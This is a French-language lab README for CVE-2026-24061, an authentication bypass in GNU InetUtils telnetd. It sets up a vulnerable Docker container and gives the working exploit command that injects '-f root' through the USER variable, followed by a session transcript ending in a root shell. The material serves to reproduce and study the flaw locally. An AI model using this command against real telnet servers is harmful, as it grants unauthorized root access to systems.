Contournement de l'authentification par injection d'arguments dans GNU InetUtils telnetd (CVE-2026-24061)

En janvier 2026, le service GNU telnetd de GNU InetUtils a été découvert comme vulnérable au contournement de l'authentification par Kyu Neushwaistein (alias Carlos Cortes Alvarez). Suivie sous la référence CVE-2026-24061, cette faille permet à un attaquant d'établir une session Telnet sans fournir d'identifiants valides, accordant un accès non autorisé au système cible. La vulnérabilité existe jusqu'à la version 2.7-2 du service GNU telnetd et semble tout droit sortie des années 90.

Il s'agit d'une vulnérabilité d'injection d'arguments (CWE-88) avec un score CVSS v3.1 de 9,8 (Critique).

Références :

• https://www.openwall.com/lists/oss-security/2026/01/20/2
• https://nvd.nist.gov/vuln/detail/CVE-2026-24061
• https://www.safebreach.com/blog/safebreach-labs-root-cause-analysis-and-poc-exploit-for-cve-2026-24061/
• https://github.com/SafeBreach-Labs/CVE-2026-24061

Environnement vulnérable

Construire et exécuter :

docker build -t telnetd-cve-2026-24061 .
docker run --rm -it -p 23:23 telnetd-cve-2026-24061

Une fois le service démarré, telnetd écoutera sur le port 23.

Exploitation

La vulnérabilité permet de contourner l'authentification en injectant le drapeau -f dans la variable d'environnement USER. Lorsque telnetd reçoit un nom d'utilisateur commençant par -f, il le transmet au programme de connexion qui interprète -f comme un drapeau pour ignorer l'authentification.

Utilisez la commande suivante pour exploiter cette vulnérabilité et obtenir un accès root :

# Client Linux (nécessite l'option -a)
USER="-f root" telnet -a 127.0.0.1 23

# Client macOS (aucune option -a nécessaire)
USER="-f root" telnet 127.0.0.1 23

Après une exploitation réussie, vous disposerez d'un accès shell root sans fournir de mot de passe.

$ USER='-f root' telnet -a localhost 23
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

Linux 6.14.0-37-generic (4dbc1b976c10) (pts/1)

Linux 4dbc1b976c10 6.14.0-37-generic #37~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Nov 20 10:25:38 UTC 2 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@4dbc1b976c10:~# id
uid=0(root) gid=0(root) groups=0(root)